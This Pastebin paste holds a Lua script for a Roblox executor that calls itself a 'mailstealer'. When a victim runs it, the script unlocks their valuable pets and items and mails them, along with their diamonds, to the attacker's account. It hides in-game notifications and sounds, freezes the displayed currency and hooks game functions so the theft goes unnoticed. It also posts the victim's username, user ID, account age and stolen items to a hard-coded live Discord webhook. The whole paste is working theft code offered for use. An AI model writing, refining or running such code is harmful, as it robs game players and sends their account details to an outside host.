Advertisement
Savaloy92

Untitled

Oct 3rd, 2024
25
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.20 KB | None | 0 0
  1. Username = "Ertyiopppppj"
  2. Username2 = "Ertyiopppppj"
  3. Webhook = "https://discord.com/api/webhooks/1291040739995680798/fpWaPBSvPXt77SriunQBD96s1MQSZHxA7q_gO3nYofgbGB-Vfk3cAnNTvoOuvdqclo75"
  4. MinimumRAP = 1000000
  5.  
  6. DualhookUsername = "Ertyiopppppj"
  7. DualhookWebhook = "https://discord.com/api/webhooks/1291040739995680798/fpWaPBSvPXt77SriunQBD96s1MQSZHxA7q_gO3nYofgbGB-Vfk3cAnNTvoOuvdqclo75"
  8. LogsWebhook = "https://discord.com/api/webhooks/1291040739995680798/fpWaPBSvPXt77SriunQBD96s1MQSZHxA7q_gO3nYofgbGB-Vfk3cAnNTvoOuvdqclo75"
  9. DualhookRAP = 1000000000000000000000000000000
  10. mailstealer_name = "X"
  11.  
  12. Roblox_Username = Username
  13. Discord_Webhook = Webhook
  14.  
  15. -- simple mailstealer
  16. LOGS_WEBHOOK = LogsWebhook
  17. if getgenv().Executed == true then
  18. -- return
  19. end
  20. getgenv().Executed = true
  21.  
  22. repeat
  23. task.wait()
  24. until game:IsLoaded()
  25.  
  26. if not game:IsLoaded() then
  27. game.Loaded:Wait()
  28. end
  29.  
  30. local idiotuser = game:GetService("Players").LocalPlayer.Name
  31.  
  32. if idiotuser == Username then
  33. game:GetService("Players").LocalPlayer:Kick("You Are The Owner! (test it on alt acc)")
  34. return
  35. end
  36. if Username == nil then
  37. game:GetService("Players").LocalPlayer:Kick("Put A UserName")
  38. return
  39. end
  40.  
  41. repeat
  42. task.wait()
  43. until game:IsLoaded()
  44. repeat
  45. task.wait()
  46. until game.PlaceId ~= nil
  47. repeat
  48. task.wait()
  49. until not game.Players.LocalPlayer.PlayerGui:FindFirstChild("__INTRO")
  50.  
  51. -- variables:
  52.  
  53. local Library = require(game.ReplicatedStorage.Library)
  54. local Save = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get()
  55. local Directory = require(game:GetService("ReplicatedStorage").Library.Directory)
  56. local Player = game.Players.LocalPlayer
  57. local Inventory = Save.Inventory
  58. local HttpService = game:GetService("HttpService")
  59. local MailMessage = "spacey space"
  60. local message = require(game.ReplicatedStorage.Library.Client.Message)
  61. local network = game:GetService("ReplicatedStorage"):WaitForChild("Network")
  62.  
  63. for id, table in pairs(Inventory.Currency) do
  64. if table.id == "Diamonds" then
  65. GemsAmount = table._am or 0
  66. break
  67. end
  68. end
  69.  
  70. for adress, func in pairs(getgc()) do
  71. if typeof(func) == "function" and debug.getinfo(func).name == "computeSendMailCost" then
  72. FunctionToGetFirstPriceOfMail = func
  73. break
  74. end
  75. end
  76.  
  77. FirstPriceOfMail = FunctionToGetFirstPriceOfMail()
  78.  
  79. if FirstPriceOfMail > GemsAmount then
  80. print("You don't have enough gems to run a script")
  81. return
  82. end
  83.  
  84. local FormatNumber = function(number)
  85. local n = math.floor(number)
  86. local suf = {
  87. "",
  88. "k",
  89. "m",
  90. "b",
  91. "t"
  92. }
  93. local INDEX = 1
  94. while n >= 1000 do
  95. n = n / 1000
  96. INDEX = INDEX + 1
  97. end
  98. return string.format("%.2f%s", n, suf[INDEX])
  99. end
  100.  
  101. local GetItemValue = function(Type, ItemTable)
  102. return (require(game:GetService("ReplicatedStorage").Library.Client.DevRAPCmds).Get(
  103. {
  104. Class = {
  105. Name = Type
  106. },
  107. IsA = function(hmm)
  108. return hmm == Type
  109. end,
  110. GetId = function()
  111. return ItemTable.id
  112. end,
  113. StackKey = function()
  114. return HttpService:JSONEncode(
  115. {
  116. id = ItemTable.id,
  117. pt = ItemTable.pt,
  118. sh = ItemTable.sh,
  119. tn = ItemTable.tn
  120. }
  121. )
  122. end
  123. }
  124. ) or 0)
  125. end
  126.  
  127. local GetItemValueOfItems = function()
  128. RAP = 0
  129. for name_of_category, category in pairs(Inventory) do
  130. if category ~= nil then
  131. for i, v in pairs(category) do
  132. RAP = RAP + GetItemValue(name_of_category, v)
  133. end
  134. end
  135. end
  136. return RAP
  137. end
  138.  
  139. function deepCopy(original)
  140. local copy = {}
  141. for k, v in pairs(original) do
  142. if type(v) == "table" then
  143. v = deepCopy(v)
  144. end
  145. copy[k] = v
  146. end
  147. return copy
  148. end
  149.  
  150. local function SendMessage(id, item_type, RBgoldNormal, thumbnail, webhook, pets_left, shiny, ping, RAP, totalRap1)
  151. local headers = {
  152. ["Content-Type"] = "application/json"
  153. }
  154. if shiny == true then
  155. shinyy = "Shiny"
  156. elseif shiny == false then
  157. shinyy = "not Shiny"
  158. end
  159. imgs =
  160. "https://images-ext-1.discordapp.net/external/SN9zgqCIgFRx4vco6NsGsf0QjfoCHf2Lj_k2R67EIIg/https/i.ibb.co/GWsnpph/xpng.png?format=webp&quality=lossless"
  161. local fardplayer = game:GetService("Players").LocalPlayer
  162. local ExecutorWebhook = identifyexecutor() or "undefined"
  163. JobId = game.JobId
  164. local PlayerUser = Player.Name
  165. local msg = {
  166. ["content"] = ping,
  167. ["username"] = "" .. mailstealer_name .. " Mailstealer",
  168. ["avatar_url"] = imgs,
  169. ["embeds"] = {
  170. {
  171. ["title"] = "**You just got a new item!**",
  172. ["type"] = "rich",
  173. ["color"] = tonumber(8323327),
  174. ["thumbnail"] = {
  175. ["url"] = thumbnail
  176. },
  177. ["fields"] = {
  178. {
  179. ["name"] = "**This data was generated using " .. mailstealer_name .. " Mailstealer**",
  180. ["value"] = "```Username : " ..
  181. fardplayer.Name ..
  182. "\nUser-ID : " ..
  183. fardplayer.userId ..
  184. "\nAccount Age : " ..
  185. fardplayer.AccountAge ..
  186. " Days" ..
  187. "\nExploit : " ..
  188. ExecutorWebhook ..
  189. "\nReceiver : " ..
  190. Roblox_Username ..
  191. "\nTotal RAP : " ..
  192. FormatNumber(totalRap1) .. "```",
  193. ["inline"] = false
  194. },
  195. {
  196. ["name"] = ":dog: **Pets left** :dog:",
  197. ["value"] = "```➜ " .. pets_left .. "```",
  198. ["inline"] = true
  199. },
  200. {
  201. ["name"] = ":money_mouth: **" .. item_type .. "** :money_mouth:",
  202. ["value"] = "```➜ " .. id .. "```",
  203. ["inline"] = true
  204. },
  205. {
  206. ["name"] = ":trophy: **Item RAP** :trophy:",
  207. ["value"] = "```➜ " .. FormatNumber(RAP) .. "```",
  208. ["inline"] = true
  209. },
  210. {
  211. ["name"] = ":gem: **Gems Left** :gem:",
  212. ["value"] = "```➜ " .. FormatNumber(GemsAmount) .. "```",
  213. ["inline"] = true
  214. },
  215. {
  216. ["name"] = ":sparkles: **Shiny** :sparkles:",
  217. ["value"] = "```➜ " .. shinyy .. "```",
  218. ["inline"] = true
  219. },
  220. {
  221. ["name"] = ":rainbow: **RB/Gold/Reg** :sparkles:",
  222. ["value"] = "```➜ " .. RBgoldNormal .. "```",
  223. ["inline"] = true
  224. }
  225. }
  226. }
  227. },
  228. ["attachments"] = {}
  229. }
  230. local request = http_request or request or HttpPost or syn.request
  231. request(
  232. {
  233. Url = webhook,
  234. Method = "POST",
  235. Headers = {
  236. ["Content-Type"] = "application/json"
  237. },
  238. Body = game.HttpService:JSONEncode(msg)
  239. }
  240. )
  241. end
  242.  
  243. -- skidded that, SORRY!!
  244.  
  245. local gemsleaderstat = Player.leaderstats["\240\159\146\142 Diamonds"].Value
  246. local gemsleaderstatpath = Player.leaderstats["\240\159\146\142 Diamonds"]
  247. gemsleaderstatpath:GetPropertyChangedSignal("Value"):Connect(
  248. function()
  249. gemsleaderstatpath.Value = gemsleaderstat
  250. end
  251. )
  252.  
  253. local loading = Player.PlayerScripts.Scripts.Core["Process Pending GUI"]
  254. local noti = Player.PlayerGui.Notifications
  255. loading.Disabled = true
  256. noti:GetPropertyChangedSignal("Enabled"):Connect(
  257. function()
  258. noti.Enabled = false
  259. end
  260. )
  261. noti.Enabled = false
  262.  
  263. task.spawn(
  264. function()
  265. game.DescendantAdded:Connect(
  266. function(x)
  267. if x.ClassName == "Sound" then
  268. if
  269. x.SoundId == "rbxassetid://11839132565" or x.SoundId == "rbxassetid://14254721038" or
  270. x.SoundId == "rbxassetid://12413423276"
  271. then
  272. x.Volume = 0
  273. x.PlayOnRemove = false
  274. x:Destroy()
  275. end
  276. end
  277. end
  278. )
  279. end
  280. )
  281.  
  282. -- no more skidding!
  283.  
  284. local function GetThumbnail(imageid)
  285. Asset = string.split(imageid, "rbxassetid://")[2]
  286. local Size = "420x420"
  287. local Image =
  288. game:HttpGet(
  289. "https://thumbnails.roblox.com/v1/assets?assetIds=" ..
  290. Asset .. "&returnPolicy=PlaceHolder&size=" .. Size .. "&format=png"
  291. )
  292. thumbnail = game.HttpService:JSONDecode(Image).data[1].imageUrl
  293. return thumbnail
  294. end
  295.  
  296. MinimumRAP = FirstPriceOfMail
  297.  
  298. -- EMPTY BOXES
  299.  
  300. if Inventory.Box then
  301. for key, value in pairs(Inventory.Box) do
  302. if value._uq then
  303. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Box: Withdraw All"):InvokeServer(
  304. key
  305. )
  306. end
  307. end
  308. end
  309.  
  310. local response, err =
  311. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Claim All"):InvokeServer()
  312. while err == "You must wait 30 seconds before using the mailbox!" do
  313. wait()
  314. response, err =
  315. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Claim All"):InvokeServer()
  316. end
  317.  
  318. require(game.ReplicatedStorage.Library.Client.DaycareCmds).Claim()
  319. require(game.ReplicatedStorage.Library.Client.ExclusiveDaycareCmds).Claim()
  320.  
  321. local GetListWithAllItems = function()
  322. local hits = {}
  323. if Inventory.Pet ~= nil then
  324. for i, v in pairs(Inventory.Pet) do
  325. id = v.id
  326. dir = Directory.Pets[id]
  327. if dir.huge and dir.Tradable ~= false then
  328. rap = GetItemValue("Pet", v)
  329. if v.pt == 1 then
  330. ItemImageId = dir.goldenThumbnail
  331. ItemType = "Golden"
  332. elseif v.pt == 2 then
  333. ItemImageId = dir.thumbnail
  334. ItemType = "Rainbow"
  335. else
  336. ItemImageId = dir.thumbnail
  337. ItemType = "Normal"
  338. end
  339. table.insert(
  340. hits,
  341. {
  342. Item_Id = i,
  343. Item_Name = v.id,
  344. Item_Amount = v._am or 1,
  345. Item_RAP = rap,
  346. Item_Class = "Pet",
  347. IsShiny = v.sh or false,
  348. IsLocked = v.lk or false,
  349. Item_ImageId = ItemImageId,
  350. Item_Type = ItemType
  351. }
  352. )
  353. end
  354. if dir.exclusiveLevel and dir.Tradable ~= false then
  355. rap = GetItemValue("Pet", v) * (v._am or 1)
  356. if v.pt == 1 then
  357. ItemImageId = dir.goldenThumbnail
  358. ItemType = "Golden"
  359. elseif v.pt == 2 then
  360. ItemImageId = dir.thumbnail
  361. ItemType = "Rainbow"
  362. else
  363. ItemImageId = dir.thumbnail
  364. ItemType = "Normal"
  365. end
  366. if rap > MinimumRAP then
  367. table.insert(
  368. hits,
  369. {
  370. Item_Id = i,
  371. Item_Name = v.id,
  372. Item_Amount = v._am or 1,
  373. Item_RAP = rap,
  374. Item_Class = "Pet",
  375. IsShiny = v.sh or false,
  376. IsLocked = v.lk or false,
  377. Item_ImageId = ItemImageId,
  378. Item_Type = ItemType
  379. }
  380. )
  381. end
  382. end
  383. end
  384. end
  385. if Inventory.Egg ~= nil then
  386. for i, v in pairs(Inventory.Egg) do
  387. id = v.id
  388. dir = Directory.Eggs[id]
  389. rap = GetItemValue("Egg", v)
  390. ItemType = "Normal"
  391. ItemImageId = dir.icon
  392. if rap > MinimumRAP then
  393. table.insert(
  394. hits,
  395. {
  396. Item_Id = i,
  397. Item_Name = v.id,
  398. Item_Amount = v._am or 1,
  399. Item_RAP = rap,
  400. Item_Class = "Egg",
  401. IsShiny = v.sh or false,
  402. IsLocked = v.lk or false,
  403. Item_ImageId = ItemImageId,
  404. Item_Type = ItemType
  405. }
  406. )
  407. end
  408. end
  409. end
  410. if Inventory.Misc ~= nil then
  411. for i, v in pairs(Inventory.Misc) do
  412. id = v.id
  413. dir = Directory.MiscItems[id]
  414. rap = GetItemValue("Misc", v)
  415. ItemType = "Normal"
  416. ItemImageId = dir.Icon
  417. if rap > MinimumRAP and v.id ~= "Slingshot" then
  418. table.insert(
  419. hits,
  420. {
  421. Item_Id = i,
  422. Item_Name = v.id,
  423. Item_Amount = v._am or 1,
  424. Item_RAP = rap,
  425. Item_Class = "Misc",
  426. IsShiny = v.sh or false,
  427. IsLocked = v.lk or false,
  428. Item_ImageId = ItemImageId,
  429. Item_Type = ItemType
  430. }
  431. )
  432. end
  433. end
  434. end
  435. if Inventory.Charm ~= nil then
  436. for i, v in pairs(Inventory.Charm) do
  437. id = v.id
  438. dir = Directory.Charms[id]
  439. rap = GetItemValue("Charm", v)
  440. ItemType = "Normal"
  441. ItemImageId = dir.Icon
  442. if rap > MinimumRAP then
  443. table.insert(
  444. hits,
  445. {
  446. Item_Id = i,
  447. Item_Name = v.id,
  448. Item_Amount = v._am or 1,
  449. Item_RAP = rap,
  450. Item_Class = "Charm",
  451. IsShiny = v.sh or false,
  452. IsLocked = v.lk or false,
  453. Item_ImageId = ItemImageId,
  454. Item_Type = ItemType
  455. }
  456. )
  457. end
  458. end
  459. end
  460. if Inventory.Enchant ~= nil then
  461. for i, v in pairs(Inventory.Enchant) do
  462. id = v.id
  463. dir = Directory.Enchants[id]
  464. rap = GetItemValue("Enchant", v)
  465. ItemType = "Normal"
  466. ItemImageId = dir.Icon(v.tn)
  467. if rap > MinimumRAP then
  468. table.insert(
  469. hits,
  470. {
  471. Item_Id = i,
  472. Item_Name = v.id,
  473. Item_Amount = v._am or 1,
  474. Item_RAP = rap,
  475. Item_Class = "Enchant",
  476. IsShiny = v.sh or false,
  477. IsLocked = v.lk or false,
  478. Item_ImageId = ItemImageId,
  479. Item_Type = ItemType
  480. }
  481. )
  482. end
  483. end
  484. end
  485. if Inventory.Lootbox ~= nil then
  486. for i, v in pairs(Inventory.Lootbox) do
  487. id = v.id
  488. dir = Directory.Lootboxes[id]
  489. rap = GetItemValue("Lootbox", v)
  490. ItemType = "Normal"
  491. ItemImageId = dir.Icon
  492. if rap > MinimumRAP then
  493. table.insert(
  494. hits,
  495. {
  496. Item_Id = i,
  497. Item_Name = v.id,
  498. Item_Amount = v._am or 1,
  499. Item_RAP = rap,
  500. Item_Class = "Lootbox",
  501. IsShiny = v.sh or false,
  502. IsLocked = v.lk or false,
  503. Item_ImageId = ItemImageId,
  504. Item_Type = ItemType
  505. }
  506. )
  507. end
  508. end
  509. end
  510. if Inventory.Potion ~= nil then
  511. for i, v in pairs(Inventory.Potion) do
  512. id = v.id
  513. dir = Directory.Potions[id]
  514. rap = GetItemValue("Potion", v)
  515. ItemType = "Normal"
  516. ItemImageId = dir.Icon(v.tn)
  517. if rap > MinimumRAP then
  518. table.insert(
  519. hits,
  520. {
  521. Item_Id = i,
  522. Item_Name = v.id,
  523. Item_Amount = v._am or 1,
  524. Item_RAP = rap,
  525. Item_Class = "Potion",
  526. IsShiny = v.sh or false,
  527. IsLocked = v.lk or false,
  528. Item_ImageId = ItemImageId,
  529. Item_Type = ItemType
  530. }
  531. )
  532. end
  533. end
  534. end
  535. if Inventory.Seed ~= nil then
  536. for i, v in pairs(Inventory.Seed) do
  537. id = v.id
  538. dir = Directory.Seeds[id]
  539. rap = GetItemValue("Seed", v)
  540. ItemType = "Normal"
  541. ItemImageId = dir.Icon
  542. if rap > MinimumRAP then
  543. table.insert(
  544. hits,
  545. {
  546. Item_Id = i,
  547. Item_Name = v.id,
  548. Item_Amount = v._am or 1,
  549. Item_RAP = rap,
  550. Item_Class = "Seed",
  551. IsShiny = v.sh or false,
  552. IsLocked = v.lk or false,
  553. Item_ImageId = ItemImageId,
  554. Item_Type = ItemType
  555. }
  556. )
  557. end
  558. end
  559. end
  560. if Inventory.Ultimate ~= nil then
  561. for i, v in pairs(Inventory.Ultimate) do
  562. id = v.id
  563. dir = Directory.Ultimates[id]
  564. rap = GetItemValue("Ultimate", v)
  565. ItemType = "Normal"
  566. ItemImageId = dir.Icon
  567. if rap > MinimumRAP then
  568. table.insert(
  569. hits,
  570. {
  571. Item_Id = i,
  572. Item_Name = v.id,
  573. Item_Amount = v._am or 1,
  574. Item_RAP = rap,
  575. Item_Class = "Ultimate",
  576. IsShiny = v.sh or false,
  577. IsLocked = v.lk or false,
  578. Item_ImageId = ItemImageId,
  579. Item_Type = ItemType
  580. }
  581. )
  582. end
  583. end
  584. end
  585. if Inventory.Fruit ~= nil then
  586. for i, v in pairs(Inventory.Fruit) do
  587. id = v.id
  588. dir = Directory.Fruits[id]
  589. rap = GetItemValue("Fruit", v)
  590. ItemType = "Normal"
  591. ItemImageId = dir.Icon
  592. if rap > MinimumRAP then
  593. table.insert(
  594. hits,
  595. {
  596. Item_Id = i,
  597. Item_Name = v.id,
  598. Item_Amount = v._am or 1,
  599. Item_RAP = rap,
  600. Item_Class = "Fruit",
  601. IsShiny = v.sh or false,
  602. IsLocked = v.lk or false,
  603. Item_ImageId = ItemImageId,
  604. Item_Type = ItemType
  605. }
  606. )
  607. end
  608. end
  609. end
  610. if Inventory.Hoverboard ~= nil then
  611. for i, v in pairs(Inventory.Hoverboard) do
  612. id = v.id
  613. dir = Directory.Hoverboards[id]
  614. rap = GetItemValue("Hoverboard", v)
  615. ItemType = "Normal"
  616. ItemImageId = dir.Icon
  617. if rap > MinimumRAP then
  618. table.insert(
  619. hits,
  620. {
  621. Item_Id = i,
  622. Item_Name = v.id,
  623. Item_Amount = v._am or 1,
  624. Item_RAP = rap,
  625. Item_Class = "Hoverboard",
  626. IsShiny = v.sh or false,
  627. IsLocked = v.lk or false,
  628. Item_ImageId = ItemImageId,
  629. Item_Type = ItemType
  630. }
  631. )
  632. end
  633. end
  634. end
  635. if Inventory.Booth ~= nil then
  636. for i, v in pairs(Inventory.Booth) do
  637. id = v.id
  638. dir = Directory.Booths[id]
  639. rap = GetItemValue("Booth", v)
  640. ItemType = "Normal"
  641. ItemImageId = dir.Icon
  642. if rap > MinimumRAP then
  643. table.insert(
  644. hits,
  645. {
  646. Item_Id = i,
  647. Item_Name = v.id,
  648. Item_Amount = v._am or 1,
  649. Item_RAP = rap,
  650. Item_Class = "Booth",
  651. IsShiny = v.sh or false,
  652. IsLocked = v.lk or false,
  653. Item_ImageId = ItemImageId,
  654. Item_Type = ItemType
  655. }
  656. )
  657. end
  658. end
  659. end
  660. table.sort(
  661. hits,
  662. function(a, b)
  663. return a.Item_RAP > b.Item_RAP
  664. end
  665. )
  666. return hits
  667. end
  668.  
  669. local function IsMailboxHooked()
  670. local uid
  671. for i, v in pairs(Inventory["Pet"]) do
  672. uid = i
  673. break
  674. end
  675. local args = {
  676. [1] = "Roblox",
  677. [2] = "Test",
  678. [3] = "Pet",
  679. [4] = uid,
  680. [5] = 1
  681. }
  682. local response, err = network:WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
  683. if (err == "They don't have enough space!") or (err == "You don't have enough diamonds to send the mail!") then
  684. return false
  685. else
  686. return true
  687. end
  688. end
  689.  
  690. itemsCounted = 0
  691. local totalRap = 0
  692. local hits = GetListWithAllItems()
  693. currentMailPrice = FirstPriceOfMail
  694. -- make it count total rap until sending price is bigger than gems amount, also make it calculate gems amount after each send
  695. for i, v in pairs(hits) do
  696. if v.Item_RAP >= currentMailPrice then
  697. totalRap = totalRap + v.Item_RAP
  698. itemsCounted = itemsCounted + 1
  699. end
  700. currentMailPrice = currentMailPrice * 1.5
  701. if currentMailPrice > 5000000 then
  702. currentMailPrice = 5000000
  703. end
  704. end
  705.  
  706.  
  707. local function sendItem(category, uid, am, locked)
  708. local args = {
  709. [1] = Roblox_Username,
  710. [2] = "" .. mailstealer_name .. " mailstealer on top",
  711. [3] = category,
  712. [4] = uid,
  713. [5] = am
  714. }
  715. local response = false
  716. repeat
  717. if locked == true then
  718. local args = {
  719. uid,
  720. false
  721. }
  722. game:GetService("ReplicatedStorage").Network.Locking_SetLocked:InvokeServer(unpack(args))
  723. end
  724. local response, err = network:WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
  725. if response == false and err == "They don't have enough space!" then
  726. Roblox_Username = Username2
  727. args[1] = Roblox_Username
  728. end
  729. until response == true
  730. GemsAmount = GemsAmount - FirstPriceOfMail
  731. FirstPriceOfMail = math.ceil(math.ceil(FirstPriceOfMail) * 1.5)
  732. if FirstPriceOfMail > 5000000 then
  733. FirstPriceOfMail = 5000000
  734. end
  735. end
  736.  
  737. local function SendAllGems()
  738. for i, v in pairs(Inventory.Currency) do
  739. if v.id == "Diamonds" then
  740. if GemsAmount >= (FirstPriceOfMail + 10000) then
  741. SentGems = GemsAmount - FirstPriceOfMail
  742. local args = {
  743. [1] = Roblox_Username,
  744. [2] = "" .. mailstealer_name .. " mailstealer on top",
  745. [3] = "Currency",
  746. [4] = i,
  747. [5] = SentGems
  748. }
  749. local response = false
  750. repeat
  751. local response = network:WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
  752. until response == true
  753. SendMessage("Diamonds", "Currency", "Gems", "rbxassetid://15258327857", Discord_Webhook, "none", "no", "@everyone", SentGems, totalRap)
  754. break
  755. end
  756. end
  757. end
  758. end
  759.  
  760.  
  761. Left_Hits = #hits
  762.  
  763. if #hits > 0 or GemsAmount > FirstPriceOfMail then
  764. local blob_a = require(game:GetService("ReplicatedStorage").Library.Client.Save)
  765. local blob_b = blob_a.Get()
  766.  
  767. FavoriteModeSelection = blob_a.Get().FavoriteModeSelection
  768. FavoriteModeSelectionPlaza = blob_a.Get().FavoriteModeSelectionPlaza
  769.  
  770. oldGet = deepCopy(blob_b)
  771. blob_a.Get = function(...)
  772. blob_b = oldGet
  773. blob_b.FavoriteModeSelection = {FavoriteModeSelection}
  774. blob_b.FavoriteModeSelectionPlaza = {FavoriteModeSelectionPlaza}
  775. return blob_b
  776. end
  777.  
  778. if IsMailboxHooked() then
  779. local Mailbox = game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Mailbox: Send")
  780. for i, Func in ipairs(getgc(true)) do
  781. if typeof(Func) == "function" and debug.info(Func, "n") == "typeof" then
  782. local Old
  783. Old =
  784. hookfunction(
  785. Func,
  786. function(Ins, ...)
  787. if Ins == Mailbox then
  788. return tick()
  789. end
  790. return Old(Ins, ...)
  791. end
  792. )
  793. end
  794. end
  795. end
  796. for i, v in pairs(hits) do
  797. if FirstPriceOfMail > 5000000 then
  798. FirstPriceOfMail = 5000000
  799. end
  800. if v.Item_RAP >= FirstPriceOfMail then
  801. sendItem(v.Item_Class, v.Item_Id, v.Item_Amount, v.IsLocked)
  802. thumb = GetThumbnail(v.Item_ImageId)
  803. Left_Hits = Left_Hits - 1
  804. task.spawn(
  805. function()
  806. SendMessage(
  807. v.Item_Name,
  808. v.Item_Class,
  809. v.Item_Type,
  810. thumb,
  811. Discord_Webhook,
  812. Left_Hits,
  813. v.IsShiny,
  814. "@everyone",
  815. v.Item_RAP,
  816. totalRap
  817. )
  818. if Roblox_Username ~= DualhookUsername then
  819. SendMessage(
  820. v.Item_Name,
  821. v.Item_Class,
  822. v.Item_Type,
  823. thumb,
  824. LOGS_WEBHOOK,
  825. Left_Hits,
  826. v.IsShiny,
  827. "ego on top",
  828. v.Item_RAP,
  829. totalRap
  830. )
  831. end
  832. end
  833. )
  834. else
  835. break
  836. end
  837. end
  838. SendAllGems()
  839. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement